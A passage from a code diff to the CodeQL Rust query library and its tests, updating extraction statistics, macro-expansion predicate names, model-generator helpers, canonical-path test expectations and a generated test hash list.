result = sum(string type | | TypeInferenceConsistency::getTypeInferenceInconsistencyCounts(type)) +} + /** * Gets a count of the total number of control flow graph inconsistencies in the database. */ @@ -91,8 +99,7 @@ int getQuerySinksCount() { result = count(QuerySink s) } class CrateElement extends Element { CrateElement() { this instanceof Crate or - this instanceof NamedCrate or - this.(AstNode).getParentNode*() = any(Crate c).getModule() + this instanceof NamedCrate } } @@ -110,9 +117,11 @@ predicate elementStats(string key, int value) { * Gets summary statistics about extraction. */ predicate extractionStats(string key, int value) { - key = "Extraction errors" and value = count(ExtractionError e) + key = "Extraction errors" and + value = count(ExtractionError e | not exists(e.getLocation()) or e.getLocation().fromSource()) or - key = "Extraction warnings" and value = count(ExtractionWarning w) + key = "Extraction warnings" and + value = count(ExtractionWarning w | not exists(w.getLocation()) or w.getLocation().fromSource()) or key = "Files extracted - total" and value = count(ExtractedFile f | exists(f.getRelativePath())) or @@ -134,11 +143,13 @@ predicate extractionStats(string key, int value) { or key = "Lines of user code extracted" and value = getLinesOfUserCode() or - key = "Macro calls - total" and value = count(MacroCall mc) + key = "Macro calls - total" and value = count(MacroCall mc | mc.fromSource()) or - key = "Macro calls - resolved" and value = count(MacroCall mc | mc.hasExpanded()) + key = "Macro calls - resolved" and + value = count(MacroCall mc | mc.fromSource() and mc.hasMacroCallExpansion()) or - key = "Macro calls - unresolved" and value = count(MacroCall mc | not mc.hasExpanded()) + key = "Macro calls - unresolved" and + value = count(MacroCall mc | mc.fromSource() and not mc.hasMacroCallExpansion()) } /** @@ -156,6 +167,13 @@ predicate inconsistencyStats(string key, int value) { key = "Inconsistencies - data flow" and value = getTotalDataFlowInconsistencies() } +/** + * Gets summary statistics about inconsistencies related to type inference. + */ +predicate typeInferenceInconsistencyStats(string key, int value) { + key = "Inconsistencies - Type inference" and value = getTotalTypeInferenceInconsistencies() +} + /** * Gets summary statistics about taint. */ diff --git a/rust/ql/src/queries/summary/SummaryStats.ql b/rust/ql/src/queries/summary/SummaryStats.ql index 57ac5b4004e3..515c78c7268c 100644 --- a/rust/ql/src/queries/summary/SummaryStats.ql +++ b/rust/ql/src/queries/summary/SummaryStats.ql @@ -17,5 +17,7 @@ where or inconsistencyStats(key, value) or + typeInferenceInconsistencyStats(key, value) + or taintStats(key, value) select key, value order by key diff --git a/rust/ql/src/queries/telemetry/DatabaseQuality.qll b/rust/ql/src/queries/telemetry/DatabaseQuality.qll index 8a9898efc404..15826fec4c45 100644 --- a/rust/ql/src/queries/telemetry/DatabaseQuality.qll +++ b/rust/ql/src/queries/telemetry/DatabaseQuality.qll @@ -30,9 +30,9 @@ module CallTargetStats implements StatsSig { } module MacroCallTargetStats implements StatsSig { - int getNumberOfOk() { result = count(MacroCall c | c.hasExpanded()) } + int getNumberOfOk() { result = count(MacroCall c | c.hasMacroCallExpansion()) } - additional predicate isNotOkCall(MacroCall c) { not c.hasExpanded() } + additional predicate isNotOkCall(MacroCall c) { not c.hasMacroCallExpansion() } int getNumberOfNotOk() { result = count(MacroCall c | isNotOkCall(c)) } diff --git a/rust/ql/src/queries/telemetry/RustAnalyzerComparison.qll b/rust/ql/src/queries/telemetry/RustAnalyzerComparison.qll index d62e5ec33639..e68306a3cf9e 100644 --- a/rust/ql/src/queries/telemetry/RustAnalyzerComparison.qll +++ b/rust/ql/src/queries/telemetry/RustAnalyzerComparison.qll @@ -145,3 +145,8 @@ private module QlCallGraph implements CompareSig { } module CallGraphCompare = Compare; + +predicate qlMissingCanonicalPath(Addressable a, string path) { + path = a.getExtendedCanonicalPath() and + not exists(a.getCanonicalPath(_)) +} diff --git a/rust/ql/src/queries/unusedentities/UnusedVariable.qll b/rust/ql/src/queries/unusedentities/UnusedVariable.qll index 2750ca1c42a5..ad75415634c6 100644 --- a/rust/ql/src/queries/unusedentities/UnusedVariable.qll +++ b/rust/ql/src/queries/unusedentities/UnusedVariable.qll @@ -25,7 +25,7 @@ class IncompleteCallable extends Callable { IncompleteCallable() { exists(MacroExpr me | me.getEnclosingCallable() = this and - not me.getMacroCall().hasExpanded() + not me.getMacroCall().hasMacroCallExpansion() ) } } diff --git a/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index 4b672e74da59..9dd63e06ea72 100644 --- a/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/rust/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -10,5 +10,5 @@ import internal.CaptureModels import SummaryModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, _) +where flow = ContentSensitive::captureFlow(api, _, _, _, _) select flow order by flow diff --git a/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql b/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql index b8855b94bf2a..b10b638129b4 100644 --- a/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql +++ b/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql @@ -15,7 +15,7 @@ import PartialFlow::PartialPathGraph int explorationLimit() { result = 3 } -module PartialFlow = Heuristic::PropagateFlow::FlowExplorationFwd; +module PartialFlow = Heuristic::PropagateTaintFlow::FlowExplorationFwd; from PartialFlow::PartialPathNode source, PartialFlow::PartialPathNode sink, diff --git a/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql b/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql index ac25306ceeee..7c7a54aea513 100644 --- a/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql +++ b/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql @@ -11,16 +11,15 @@ private import codeql.rust.dataflow.DataFlow import utils.modelgenerator.internal.CaptureModels import SummaryModels -import Heuristic -import PropagateFlow::PathGraph +import Heuristic::PropagateTaintFlow::PathGraph from - PropagateFlow::PathNode source, PropagateFlow::PathNode sink, DataFlowSummaryTargetApi api, - DataFlow::Node p, DataFlow::Node returnNodeExt + Heuristic::PropagateTaintFlow::PathNode source, Heuristic::PropagateTaintFlow::PathNode sink, + DataFlowSummaryTargetApi api, DataFlow::Node p, DataFlow::Node returnNodeExt where - PropagateFlow::flowPath(source, sink) and + Heuristic::PropagateTaintFlow::flowPath(source, sink) and p = source.getNode() and returnNodeExt = sink.getNode() and - exists(captureThroughFlow0(api, p, returnNodeExt)) + Heuristic::captureThroughFlow0(api, p, returnNodeExt) select sink.getNode(), source, sink, "There is flow from $@ to the $@.", source.getNode(), "parameter", sink.getNode(), "return value" diff --git a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll index 99e1c527b546..58f90cc33a0d 100644 --- a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -15,9 +15,15 @@ private predicate relevant(Function api) { // Only include functions that have a resolved path. api.hasCrateOrigin() and api.hasExtendedCanonicalPath() and + // A canonical path can contain `;` as the syntax for array types use `;`. For + // instance `<[Foo; 1] as Bar>::baz`. This does not work with the shared model + // generator and it is not clear if this will also be the case when we move to + // QL created canoonical paths, so for now we just exclude functions with + // `;`s. + not exists(api.getExtendedCanonicalPath().indexOf(";")) and ( // This excludes closures (these are not exported API endpoints) and - // functions without a `pub` visiblity. A function can be `pub` without + // functions without a `pub` visibility. A function can be `pub` without // ultimately being exported by a crate, so this is an overapproximation. api.hasVisibility() or @@ -54,26 +60,26 @@ module ModelGeneratorCommonInput implements string qualifierString() { result = "Argument[self]" } - string parameterAccess(R::ParamBase p) { + string parameterExactAccess(R::ParamBase p) { result = "Argument[" + any(DataFlowImpl::ParameterPosition pos | p = pos.getParameterIn(_)).toString() + "]" } - string parameterContentAccess(R::ParamBase p) { result = parameterAccess(p) } + string parameterApproximateAccess(R::ParamBase p) { result = parameterExactAccess(p) } class InstanceParameterNode extends DataFlow::ParameterNode { InstanceParameterNode() { this.asParameter() instanceof SelfParam } } bindingset[c] - string paramReturnNodeAsOutput(Callable c, DataFlowImpl::ParameterPosition pos) { - result = paramReturnNodeAsContentOutput(c, pos) + string paramReturnNodeAsApproximateOutput(Callable c, DataFlowImpl::ParameterPosition pos) { + result = paramReturnNodeAsExactOutput(c, pos) } bindingset[c] - string paramReturnNodeAsContentOutput(Callable c, DataFlowImpl::ParameterPosition pos) { - result = parameterContentAccess(c.getParamList().getParam(pos.getPosition())) + string paramReturnNodeAsExactOutput(Callable c, DataFlowImpl::ParameterPosition pos) { + result = parameterExactAccess(c.getParamList().getParam(pos.getPosition())) or pos.isSelf() and result = qualifierString() } diff --git a/rust/ql/test/TestUtils.qll b/rust/ql/test/TestUtils.qll index dc75d109a339..f1e3c7294942 100644 --- a/rust/ql/test/TestUtils.qll +++ b/rust/ql/test/TestUtils.qll @@ -1,12 +1,19 @@ private import rust -predicate toBeTested(Element e) { not e instanceof CrateElement and not e instanceof Builtin } +predicate toBeTested(Element e) { + not e instanceof CrateElement and + not e instanceof Builtin and + ( + not e instanceof Locatable + or + e.(Locatable).fromSource() + ) +} class CrateElement extends Element { CrateElement() { this instanceof Crate or - this instanceof NamedCrate or - any(Crate c).getModule() = this.(AstNode).getParentNode*() + this instanceof NamedCrate } } diff --git a/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected deleted file mode 100644 index fbc771e88519..000000000000 --- a/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected +++ /dev/null @@ -1,3 +0,0 @@ -multipleMethodCallTargets -| regular.rs:29:5:29:9 | s.g() | anonymous.rs:15:9:15:22 | fn g | -| regular.rs:29:5:29:9 | s.g() | regular.rs:13:5:13:18 | fn g | diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected index 8395c20a00a5..69ea1bb7b0e3 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected @@ -1,3 +1,26 @@ +canonicalPath +| anonymous.rs:3:1:32:1 | fn canonicals | test::anonymous::canonicals | +| anonymous.rs:34:1:36:1 | fn other | test::anonymous::other | +| lib.rs:1:1:1:14 | mod anonymous | test::anonymous | +| lib.rs:2:1:2:12 | mod regular | test::regular | +| regular.rs:1:1:2:18 | struct Struct | test::regular::Struct | +| regular.rs:4:1:6:1 | trait Trait | test::regular::Trait | +| regular.rs:5:5:5:16 | fn f | <_ as test::regular::Trait>::f | +| regular.rs:8:1:10:1 | impl Trait for Struct { ... } | | +| regular.rs:9:5:9:18 | fn f | ::f | +| regular.rs:12:1:14:1 | impl Struct { ... } | | +| regular.rs:13:5:13:18 | fn g | ::g | +| regular.rs:16:1:18:1 | trait TraitWithBlanketImpl | test::regular::TraitWithBlanketImpl | +| regular.rs:17:5:17:16 | fn h | <_ as test::regular::TraitWithBlanketImpl>::h | +| regular.rs:24:1:24:12 | fn free | test::regular::free | +| regular.rs:26:1:32:1 | fn usage | test::regular::usage | +| regular.rs:34:1:38:1 | enum MyEnum | test::regular::MyEnum | +| regular.rs:35:5:35:12 | Variant1 | test::regular::MyEnum::Variant1 | +| regular.rs:36:5:36:19 | Variant2 | test::regular::MyEnum::Variant2 | +| regular.rs:37:5:37:25 | Variant3 | test::regular::MyEnum::Variant3 | +| regular.rs:40:1:46:1 | fn enum_qualified_usage | test::regular::enum_qualified_usage | +| regular.rs:48:1:55:1 | fn enum_unqualified_usage | test::regular::enum_unqualified_usage | +| regular.rs:57:1:63:1 | fn enum_match | test::regular::enum_match | canonicalPaths | anonymous.rs:1:1:1:26 | use ...::Trait | None | None | | anonymous.rs:3:1:32:1 | fn canonicals | repo::test | crate::anonymous::canonicals | diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql index 7488d699087c..16aa82eee21c 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql @@ -1,6 +1,11 @@ import rust import TestUtils +query predicate canonicalPath(Addressable a, string path) { + toBeTested(a) and + path = a.getCanonicalPath(_) +} + query predicate canonicalPaths(Item i, string origin, string path) { toBeTested(i) and ( diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected deleted file mode 100644 index 849d19acbf0e..000000000000 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected +++ /dev/null @@ -1,3 +0,0 @@ -multipleMethodCallTargets -| regular.rs:32:5:32:9 | s.g() | anonymous.rs:18:9:18:22 | fn g | -| regular.rs:32:5:32:9 | s.g() | regular.rs:16:5:16:18 | fn g | diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected index 878cb1fc7c9d..2605a806f6f7 100644 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected @@ -1,3 +1,26 @@ +canonicalPath +| anonymous.rs:6:1:35:1 | fn canonicals | test::anonymous::canonicals | +| anonymous.rs:37:1:39:1 | fn other | test::anonymous::other | +| lib.rs:1:1:1:14 | mod anonymous | test::anonymous | +| lib.rs:2:1:2:12 | mod regular | test::regular | +| regular.rs:4:1:5:18 | struct Struct | test::regular::Struct | +| regular.rs:7:1:9:1 | trait Trait | test::regular::Trait | +| regular.rs:8:5:8:16 | fn f | <_ as test::regular::Trait>::f | +| regular.rs:11:1:13:1 | impl Trait for Struct { ... } | | +| regular.rs:12:5:12:18 | fn f | ::f | +| regular.rs:15:1:17:1 | impl Struct { ... } | | +| regular.rs:16:5:16:18 | fn g | ::g | +| regular.rs:19:1:21:1 | trait TraitWithBlanketImpl | test::regular::TraitWithBlanketImpl | +| regular.rs:20:5:20:16 | fn h | <_ as test::regular::TraitWithBlanketImpl>::h | +| regular.rs:27:1:27:12 | fn free | test::regular::free | +| regular.rs:29:1:35:1 | fn usage | test::regular::usage | +| regular.rs:37:1:41:1 | enum MyEnum | test::regular::MyEnum | +| regular.rs:38:5:38:12 | Variant1 | test::regular::MyEnum::Variant1 | +| regular.rs:39:5:39:19 | Variant2 | test::regular::MyEnum::Variant2 | +| regular.rs:40:5:40:25 | Variant3 | test::regular::MyEnum::Variant3 | +| regular.rs:43:1:49:1 | fn enum_qualified_usage | test::regular::enum_qualified_usage | +| regular.rs:51:1:58:1 | fn enum_unqualified_usage | test::regular::enum_unqualified_usage | +| regular.rs:60:1:66:1 | fn enum_match | test::regular::enum_match | canonicalPaths | anonymous.rs:4:1:4:26 | use ...::Trait | None | None | | anonymous.rs:6:1:35:1 | fn canonicals | None | None | diff --git a/rust/ql/test/extractor-tests/crate_graph/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/crate_graph/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..0aa771632529 --- /dev/null +++ b/rust/ql/test/extractor-tests/crate_graph/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,13 @@ +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/extractor-tests/crate_graph/modules.expected b/rust/ql/test/extractor-tests/crate_graph/modules.expected deleted file mode 100644 index 157432a77e33..000000000000 --- a/rust/ql/test/extractor-tests/crate_graph/modules.expected +++ /dev/null @@ -1,140 +0,0 @@ -#-----| Const - -#-----| Static - -#-----| enum X - -#-----| fn as_string - -#-----| fn as_string - -#-----| fn fmt - -#-----| fn from - -#-----| fn length - -#-----| impl ...::AsString for ...::X { ... } -#-----| -> fn as_string - -#-----| impl ...::Display for ...::X { ... } -#-----| -> fn fmt - -#-----| impl ...::From::<...> for ...::Thing::<...> { ... } -#-----| -> fn from - -lib.rs: -# 0| mod crate -#-----| -> mod module - -#-----| mod module -#-----| -> Const -#-----| -> Static -#-----| -> enum X -#-----| -> fn length -#-----| -> impl ...::AsString for ...::X { ... } -#-----| -> impl ...::Display for ...::X { ... } -#-----| -> impl ...::From::<...> for ...::Thing::<...> { ... } -#-----| -> struct LocalKey -#-----| -> struct Thing -#-----| -> struct X_List -#-----| -> trait AsString -#-----| -> use ...::DirBuilder -#-----| -> use ...::DirEntry -#-----| -> use ...::File -#-----| -> use ...::FileTimes -#-----| -> use ...::FileType -#-----| -> use ...::Metadata -#-----| -> use ...::OpenOptions -#-----| -> use ...::PathBuf -#-----| -> use ...::Permissions -#-----| -> use ...::ReadDir -#-----| -> use ...::canonicalize -#-----| -> use ...::copy -#-----| -> use ...::create_dir -#-----| -> use ...::create_dir as mkdir -#-----| -> use ...::create_dir_all -#-----| -> use ...::exists -#-----| -> use ...::hard_link -#-----| -> use ...::metadata -#-----| -> use ...::read -#-----| -> use ...::read_dir -#-----| -> use ...::read_link -#-----| -> use ...::read_to_string -#-----| -> use ...::remove_dir -#-----| -> use ...::remove_dir_all -#-----| -> use ...::remove_file -#-----| -> use ...::rename -#-----| -> use ...::set_permissions -#-----| -> use ...::soft_link -#-----| -> use ...::symlink_metadata -#-----| -> use ...::write - -#-----| struct LocalKey - -#-----| struct Thing - -#-----| struct X_List - -#-----| trait AsString -#-----| -> fn as_string - -#-----| use ...::DirBuilder - -#-----| use ...::DirEntry - -#-----| use ...::File - -#-----| use ...::FileTimes - -#-----| use ...::FileType - -#-----| use ...::Metadata - -#-----| use ...::OpenOptions - -#-----| use ...::PathBuf - -#-----| use ...::Permissions - -#-----| use ...::ReadDir - -#-----| use ...::canonicalize - -#-----| use ...::copy - -#-----| use ...::create_dir - -#-----| use ...::create_dir as mkdir - -#-----| use ...::create_dir_all - -#-----| use ...::exists - -#-----| use ...::hard_link - -#-----| use ...::metadata - -#-----| use ...::read - -#-----| use ...::read_dir - -#-----| use ...::read_link - -#-----| use ...::read_to_string - -#-----| use ...::remove_dir - -#-----| use ...::remove_dir_all - -#-----| use ...::remove_file - -#-----| use ...::rename - -#-----| use ...::set_permissions - -#-----| use ...::soft_link - -#-----| use ...::symlink_metadata - -#-----| use ...::write diff --git a/rust/ql/test/extractor-tests/crate_graph/modules.ql b/rust/ql/test/extractor-tests/crate_graph/modules.ql deleted file mode 100644 index 5554a69d1a96..000000000000 --- a/rust/ql/test/extractor-tests/crate_graph/modules.ql +++ /dev/null @@ -1,72 +0,0 @@ -/** - * @id module-graph - * @name Module and Item Graph - * @kind graph - */ - -import rust - -predicate nodes(Item i) { i instanceof RelevantNode } - -class RelevantNode extends Item { - RelevantNode() { - this.getParentNode*() = - any(Crate m | m.getName() = "test" and m.getVersion() = "0.0.1").getModule() - } - - string label() { result = this.toString() } -} - -class HasGenericParams extends RelevantNode { - private GenericParamList params; - - HasGenericParams() { - params = this.(Function).getGenericParamList() or - params = this.(Enum).getGenericParamList() or - params = this.(Struct).getGenericParamList() or - params = this.(Union).getGenericParamList() or - params = this.(Impl).getGenericParamList() or - params = this.(Enum).getGenericParamList() or - params = this.(Trait).getGenericParamList() or - params = this.(TraitAlias).getGenericParamList() - } - - override string label() { - result = - super.toString() + "<" + - strictconcat(string part, int index | - part = params.getGenericParam(index).toString() - | - part, ", " order by index - ) + ">" - } -} - -predicate edges(RelevantNode container, RelevantNode element) { - element = container.(Module).getItemList().getAnItem() or - element = container.(Impl).getAssocItemList().getAnAssocItem() or - element = container.(Trait).getAssocItemList().getAnAssocItem() -} - -query predicate nodes(RelevantNode node, string attr, string val) { - nodes(node) and - ( - attr = "semmle.label" and - val = node.label() - or - attr = "semmle.order" and - val = - any(int i | node = rank[i](RelevantNode n | nodes(n) | n order by n.toString())).toString() - ) -} - -query predicate edges(RelevantNode pred, RelevantNode succ, string attr, string val) { - edges(pred, succ) and - ( - attr = "semmle.label" and - val = "" - or - attr = "semmle.order" and - val = any(int i | succ = rank[i](Item s | edges(pred, s) | s order by s.toString())).toString() - ) -} diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list index 13778503766e..a4fab823b031 100644 --- a/rust/ql/test/extractor-tests/generated/.generated_tests.list +++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list @@ -1,11 +1,22 @@ -Abi/gen_abi.rs 5d2f6eccb2bab86080188be9700ab64a34fa6e8e8e7b08f65a5c97d1de0a900c 5d2f6eccb2bab86080188be9700ab64a34fa6e8e8e7b08f65a5c97d1de0a900c -ArgList/gen_arg_list.rs 569d0b9b0479de5453ae0f89e4f90e32b02ee84dfb3d815821d722ece6f75b64 569d0b9b0479de5453ae0f89e4f90e32b02ee84dfb3d815821d722ece6f75b64 +Abi/gen_abi.rs 817dffd17949dbd9e144163c73bbda50cb33a91bf1ca6ed60233216b81ee4770 817dffd17949dbd9e144163c73bbda50cb33a91bf1ca6ed60233216b81ee4770 +ArgList/gen_arg_list.rs 997959d661e34531ad42fc5cc214ed6bb2e318d91e94388ea94e245f5869d9a3 997959d661e34531ad42fc5cc214ed6bb2e318d91e94388ea94e245f5869d9a3 ArrayListExpr/gen_array_list_expr.rs 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 ArrayRepeatExpr/gen_array_repeat_expr.rs 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e -ArrayTypeRepr/gen_array_type_repr.rs 9cf7a12a6f7da3342db4ab65dfb5deefb1ef57398e2236fbb49d3280dad944ae 9cf7a12a6f7da3342db4ab65dfb5deefb1ef57398e2236fbb49d3280dad944ae -AsmExpr/gen_asm_expr.rs 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 -AssocTypeArg/gen_assoc_type_arg.rs 00ec0e22c4d73338de605dc3b1b1306bc83a95f87376ce976f08d2f9923cc2b4 00ec0e22c4d73338de605dc3b1b1306bc83a95f87376ce976f08d2f9923cc2b4 -Attr/gen_attr.rs cd6e50f5ebb17066209682b1a9f22ff116584ffef180d8ab51e2ba5cab6a91ec cd6e50f5ebb17066209682b1a9f22ff116584ffef180d8ab51e2ba5cab6a91ec +ArrayTypeRepr/gen_array_type_repr.rs 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e +AsmClobberAbi/gen_asm_clobber_abi.rs eb9aefa9a191a16797c140fa1b43435f46e08a2f29217c6997431b4407207ca5 eb9aefa9a191a16797c140fa1b43435f46e08a2f29217c6997431b4407207ca5 +AsmConst/gen_asm_const.rs 9c3348eaf6dc4c503e680e01bec71acd639437ed7d2d66aeec6fba3fa6a04ca6 9c3348eaf6dc4c503e680e01bec71acd639437ed7d2d66aeec6fba3fa6a04ca6 +AsmDirSpec/gen_asm_dir_spec.rs d8cce684f18bc1ed15e10be89f834b02e8971eb1fedaca583d07356899f644b0 d8cce684f18bc1ed15e10be89f834b02e8971eb1fedaca583d07356899f644b0 +AsmExpr/gen_asm_expr.rs f35e1148bbc8b3f4765866345ef650befcd070507a53e519e21287fedf495f5a f35e1148bbc8b3f4765866345ef650befcd070507a53e519e21287fedf495f5a +AsmLabel/gen_asm_label.rs 4d70f0fdc9bd094a1bedb5fcbf4f2d47d20a47d69f3dc30855fb67780b8a2456 4d70f0fdc9bd094a1bedb5fcbf4f2d47d20a47d69f3dc30855fb67780b8a2456 +AsmOperandExpr/gen_asm_operand_expr.rs 9ec51abe4ddfd74983dffc2703e4f87fb496e717f1367b5ef7cfa2db8ec128fa 9ec51abe4ddfd74983dffc2703e4f87fb496e717f1367b5ef7cfa2db8ec128fa +AsmOperandNamed/gen_asm_operand_named.rs ca498c2aaeab670537e21d382f4575135a456da106f7467e346fd601d60ddb26 ca498c2aaeab670537e21d382f4575135a456da106f7467e346fd601d60ddb26 +AsmOption/gen_asm_option.rs 67f3a1ba4584bb071490542db579ba730fe2cb8bb1ad2e310558731165263315 67f3a1ba4584bb071490542db579ba730fe2cb8bb1ad2e310558731165263315 +AsmOptionsList/gen_asm_options_list.rs 03c5d05bb947fc3f399fa9be7422b5c18b4ef2a8af7d15e1a8599143a73bccf6 03c5d05bb947fc3f399fa9be7422b5c18b4ef2a8af7d15e1a8599143a73bccf6 +AsmRegOperand/gen_asm_reg_operand.rs 97370189e4fe37c0c1058c4387df6a84a46b5ad96d2394c1aea635044e937de8 97370189e4fe37c0c1058c4387df6a84a46b5ad96d2394c1aea635044e937de8 +AsmRegSpec/gen_asm_reg_spec.rs 4c8cb20e4494e5c580bc7cc0f807019982c144d68b78e5520d877f74cef11081 4c8cb20e4494e5c580bc7cc0f807019982c144d68b78e5520d877f74cef11081 +AsmSym/gen_asm_sym.rs 929843368b1d93ae255c080dee623dd874e63ed00c7e62879fb5dd20bc48e022 929843368b1d93ae255c080dee623dd874e63ed00c7e62879fb5dd20bc48e022 +AssocTypeArg/gen_assoc_type_arg.rs 7daf02fcf96da95546bfd8d50ca928585587a81f2ec3039f670ee968ae0f9860 7daf02fcf96da95546bfd8d50ca928585587a81f2ec3039f670ee968ae0f9860 +Attr/gen_attr.rs ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 AwaitExpr/gen_await_expr.rs cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 BecomeExpr/gen_become_expr.rs ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c BinaryExpr/gen_binary_expr.rs 5ea68396dc2e3ff7fcaf5a5201636dd175dd45be36647b6ae0043c765ce24549 5ea68396dc2e3ff7fcaf5a5201636dd175dd45be36647b6ae0043c765ce24549 @@ -14,24 +25,24 @@ BoxPat/gen_box_pat.rs 1493e24b732370b577ade38c47db17fa157df19f5390606a67a6040e49 BreakExpr/gen_break_expr.rs aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 CallExpr/gen_call_expr.rs 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 CastExpr/gen_cast_expr.rs c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 -ClosureBinder/gen_closure_binder.rs 78d3219bdfc58a22f333e3c82468fc23001e92b1d5acb085de7f48d7d1722244 78d3219bdfc58a22f333e3c82468fc23001e92b1d5acb085de7f48d7d1722244 +ClosureBinder/gen_closure_binder.rs 14b5e2deb2bbba164f1aee378be18e99e3c5a926628e964dcc2fbb349ff3b672 14b5e2deb2bbba164f1aee378be18e99e3c5a926628e964dcc2fbb349ff3b672 ClosureExpr/gen_closure_expr.rs 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 Comment/gen_comment.rs 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 -Const/gen_const.rs fea9d399fe4036c55b94b419ecb1cbb3131248ae338c20d383080dd1ca30f274 fea9d399fe4036c55b94b419ecb1cbb3131248ae338c20d383080dd1ca30f274 -ConstArg/gen_const_arg.rs feab3cdbbc469a287884ff7605e9a7541f904e9e5bd1f14a8e0f741fa970dd7c 